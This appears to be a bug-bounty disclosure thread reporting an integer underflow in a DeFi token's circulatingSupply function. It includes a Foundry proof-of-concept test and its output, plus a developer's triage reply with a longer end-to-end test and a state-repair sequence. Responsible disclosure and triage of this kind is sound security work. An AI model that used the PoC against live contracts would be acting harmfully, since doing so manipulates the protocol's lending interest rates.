OrigamiOToken::circulatingSupply will underflow when users burn their tokens.

[hats-bug-reporter[bot]]

Github username: @erictee2802 Twitter username: 0xEricTee Submission hash (on-chain): 0x995c916914d1e7efc77578b362f16ea38069bbc9f22c3e35e9b0f5f74712901d Severity: high

Description: Description\

OrigamiOToken::circulatingSupply will underflow when users burn their tokens.

Attack Scenario\

Check the Poc below.

Attachments

NA

1. Proof of Concept (PoC) File

Add the following content to OrigamiOToken.t.sol:

function test_circulatingSupplyUnderflow() public {
        address exploiter = makeAddr("EXPLOITER");
        vm.prank(origamiMultisig);
        oToken.amoMint(exploiter, 100);
        console.log(oToken.circulatingSupply());
        vm.prank(exploiter);
        oToken.burn(100);
        console.log(oToken.circulatingSupply());

    }

Foundry Result:

Running 1 test for test/foundry/unit/investments/OrigamiOToken.t.sol:OrigamiOTokenTestAccess
[PASS] test_circulatingSupplyUnderflow() (gas: 70396)
Logs:
  0
  115792089237316195423570985008687907853269984665640564039457584007913129639836

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.06ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

2. Revised Code File (Optional)
   • overrides ERC20Burnable functions if not used.

[0xEricTee]

Need to add import { console2 as console } from "forge-std/console2.sol"; to OrigamiOToken.t.sol to use the console.log for the foundry test.

[0xEricTee]

OrigamiOToken::circulatingSupply function is used in OrigamiLendingClerk::globalUtilisationRatio & OrigamiLendingClerk::_globalAvailableToBorrow, these functions are core functions that in charge of the calculation of borrow and utilisation ratio. If the afftected function underflow, wrong value will be fetched and calculation will be manipulated or wrong. An exploiter can manipulate the affected function to its own benefits.

[frontier159]

looking into this now thanks

[frontier159]

@erictee2802 This is a great find, thank you so much for reporting.

amoMint() can only be called with elevated access, and will only be minted to protocol owned contracts or trusted parties (for example protocol owned liquidity). However you are correct that the holder of the AMO minted tokens can call burn() instead of amoBurn() -- either accidentally or maliciously.

In terms of impact:

• oToken.circulatingSupply() is only used within OrigamiLendingClerk to determine the current globalUtilisationRatio() (defined as totalBorrowerDebt() - oToken.circulatingSupply()), and _globalAvailableToBorrow()
  • A super high circulatingSupply() == ~type(uint256).max means the utilisation ratio is almost zero, meaning the _calculateGlobalInterestRate() will be set to the min interest rate.
  • However the actual lovToken borrower interest rate is only partially dependent on this calc, it will still be set to at least the borrower specific rate. See _calculateCombinedInterestRate()
• amoMinted() has no external dependencies.

So this has no impact on user funds, only a minor impact on the interest rate due to the OrigamiLendingClerk.

Therefore we see this as a medium finding.

I've put together an end to end test which can be added into OrigamiLovTokenIntegrationTest.t.sol

Please see here

```solidity function test_circulatingSupplyUnderflow_removeme() public { address exploiter = makeAddr("EXPLOITER"); // Elevated access first needs to amoMint() to a trusted user/protocol. { vm.startPrank(origamiMultisig); oUsdcContracts.oUsdc.amoMint(exploiter, 750_000e18); } // Alice deposits into oUSDC normally { uint256 amount = 100_000e6; uint256 amountOut = investOusdc(alice, amount); assertEq(oUsdcContracts.oUsdc.amoMinted(), 750_000e18); assertEq(oUsdcContracts.oUsdc.circulatingSupply(), 100_000e18); assertEq(oUsdcContracts.lendingClerk.globalUtilisationRatio(), 0); assertEq(oUsdcContracts.lendingClerk.totalAvailableToWithdraw(), 100_000e6); assertEq(oUsdcContracts.lendingClerk.calculateGlobalInterestRate(), 0.035e18); } // Bob invests into lovDSR { uint256 amount = 10_000e18; uint256 expectedSDai = externalContracts.sDaiToken.previewDeposit(amount); (uint256 depositFee, ) = lovTokenContracts.lovDsr.getDynamicFeesBps(); uint256 amountOut = investLovDsr(bob, amount); assertEq(oUsdcContracts.oUsdc.amoMinted(), 750_000e18); assertEq(oUsdcContracts.oUsdc.circulatingSupply(), 100_000e18); assertEq(oUsdcContracts.lendingClerk.globalUtilisationRatio(), 0); assertEq(oUsdcContracts.lendingClerk.totalAvailableToWithdraw(), 100_000e6); assertEq(oUsdcContracts.lendingClerk.calculateGlobalInterestRate(), 0.035e18); } // lovDSR rebalancesDown, such that the oUSDC lending clerk now has 90% utilisation { doRebalanceDown(1.11e18, 20, 20); assertEq(oUsdcContracts.oUsdc.amoMinted(), 750_000e18); assertEq(oUsdcContracts.oUsdc.circulatingSupply(), 100_000e18); assertEq(oUsdcContracts.lendingClerk.globalUtilisationRatio(), 0.90889809999e18); assertEq(oUsdcContracts.lendingClerk.totalAvailableToWithdraw(), 9_110.190001e6); assertEq(oUsdcContracts.lendingClerk.calculateGlobalInterestRate(), 0.051779619998e18); } // Check oUSDC balances { assertEq(oUsdcContracts.oUsdc.balanceOf(exploiter), 750_000e18); assertEq(oUsdcContracts.oUsdc.balanceOf(alice), 0); assertEq(oUsdcContracts.oUsdc.balanceOf(bob), 0); assertEq(oUsdcContracts.oUsdc.balanceOf(origamiMultisig), 0); assertEq(oUsdcContracts.oUsdc.balanceOf(address(oUsdcContracts.ovUsdc)), 100_000e18); } // Exploiter burns their amo tokens (instead of amoBurn being called) // This underflows the circulating supply // The impact of this is: // 1/ The globalUtilisationRatio() is tiny now // 2/ The totalAvailableToWithdraw() remains the same because it uses the min of what actual USDC is in the // idle strategy manager // 3/ The globalInterestRate() is now at the minimum, because the global UR is now just about zero { vm.startPrank(exploiter); oUsdcContracts.oUsdc.burn(500_000e18); assertEq(oUsdcContracts.oUsdc.amoMinted(), 750_000e18); assertEq(oUsdcContracts.oUsdc.circulatingSupply(), type(uint256).max - 500_000e18 + 100_000e18 + 1); assertEq(oUsdcContracts.lendingClerk.globalUtilisationRatio(), 1); assertEq(oUsdcContracts.lendingClerk.totalAvailableToWithdraw(), 9_110.190001e6); assertEq(oUsdcContracts.lendingClerk.calculateGlobalInterestRate(), 0.035e18 + 1); } // The trusted Exploiter has turned blackhat -- they can exit their tokens // But this is more of a trust issue with the address we amoMinted, not an exploit // Importantly, while they can exit, they cannot exit at a rate higher than 1 to 1 { assertEq(oUsdcContracts.oUsdc.balanceOf(exploiter), 250_000e18); vm.startPrank(exploiter); (IOrigamiInvestment.ExitQuoteData memory quoteData,) = oUsdcContracts.oUsdc.exitQuote( 10e18, address(externalContracts.usdcToken), 0, 0 ); uint256 exploiterOut = oUsdcContracts.oUsdc.exitToToken(quoteData, exploiter); assertEq(exploiterOut, 10e6); assertEq(externalContracts.usdcToken.balanceOf(exploiter), 10e6); } // Alice also can't exit more than 1:1 from ovUSDC -> oUSDC -> USDC { vm.startPrank(alice); (IOrigamiInvestment.ExitQuoteData memory quoteData,) = oUsdcContracts.ovUsdc.exitQuote( 10e18, address(externalContracts.usdcToken), 0, 0 ); uint256 aliceOut = oUsdcContracts.ovUsdc.exitToToken(quoteData, alice); assertEq(aliceOut, 10e6); assertEq(externalContracts.usdcToken.balanceOf(alice), 10e6); assertEq(oUsdcContracts.oUsdc.amoMinted(), 750_000e18); assertEq(oUsdcContracts.oUsdc.circulatingSupply(), type(uint256).max - 500_000e18 + 100_000e18 + 1 - 20e18); assertEq(oUsdcContracts.lendingClerk.globalUtilisationRatio(), 1); assertEq(oUsdcContracts.lendingClerk.totalAvailableToWithdraw(), 9_110.190001e6 - 20e6); assertEq(oUsdcContracts.lendingClerk.calculateGlobalInterestRate(), 0.035e18 + 1); } // Now multisig fixes the circulatingSupply issue { vm.startPrank(origamiMultisig); oUsdcContracts.oUsdc.addMinter(origamiMultisig); assertEq(oUsdcContracts.oUsdc.totalSupply(), 349_980e18); assertEq(oUsdcContracts.oUsdc.amoMinted(), 750_000e18); assertEq(oUsdcContracts.oUsdc.circulatingSupply(), type(uint256).max - 400_020e18 + 1); // Max out the amount which can be amoMint()'d // then burn it, to underflow again. { oUsdcContracts.oUsdc.amoMint(origamiMultisig, type(uint256).max - 750_000e18); // burn exploiter's remaining supply oUsdcContracts.oUsdc.burn(exploiter, 250_000e18 - 10e18); // then burn to underflow the amoMinted amount again oUsdcContracts.oUsdc.burn(type(uint256).max - 750_000e18 - (250_000e18 - 10e18)); assertEq(oUsdcContracts.oUsdc.totalSupply(), 349_980e18); assertEq(oUsdcContracts.oUsdc.amoMinted(), type(uint256).max); assertEq(oUsdcContracts.oUsdc.circulatingSupply(), 349_980.000000000000000001e18); } // max mint (normally), and then amoBurn() // to reduce the amount of amoMinted { oUsdcContracts.oUsdc.mint(origamiMultisig, type(uint256).max - 349_980e18); oUsdcContracts.oUsdc.amoBurn(origamiMultisig, type(uint256).max - 349_980e18); assertEq(oUsdcContracts.oUsdc.totalSupply(), 349_980e18); assertEq(oUsdcContracts.oUsdc.amoMinted(), 349_980e18); assertEq(oUsdcContracts.oUsdc.circulatingSupply(), 0); } // Finally do this one more time. // mint (normally) the remaining amount of amoMinted // then amoBurn { oUsdcContracts.oUsdc.mint(origamiMultisig, 99_990e18); //349_980e18); oUsdcContracts.oUsdc.amoBurn(origamiMultisig, 349_980e18); assertEq(oUsdcContracts.oUsdc.totalSupply(), 99_990e18); //349_980e18); assertEq(oUsdcContracts.oUsdc.amoMinted(), 0); assertEq(oUsdcContracts.oUsdc.circulatingSupply(), 99_990e18); //349_980e18); } } // Recheck balances // The only balance of oUSDC is in the ovUSDC contract. { assertEq(oUsdcContracts.oUsdc.balanceOf(exploiter), 0); assertEq(oUsdcContracts.oUsdc.balanceOf(alice), 0); assertEq(oUsdcContracts.oUsdc.balanceOf(bob), 0); assertEq(oUsdcContracts.oUsdc.balanceOf(origamiMultisig), 0); assertEq(oUsdcContracts.oUsdc.balanceOf(address(oUsdcContracts.ovUsdc)), 99_990e18); } } ```

If you think there is more to this issue, please provide a further PoC/test.

Please keep up the great hunting 🙏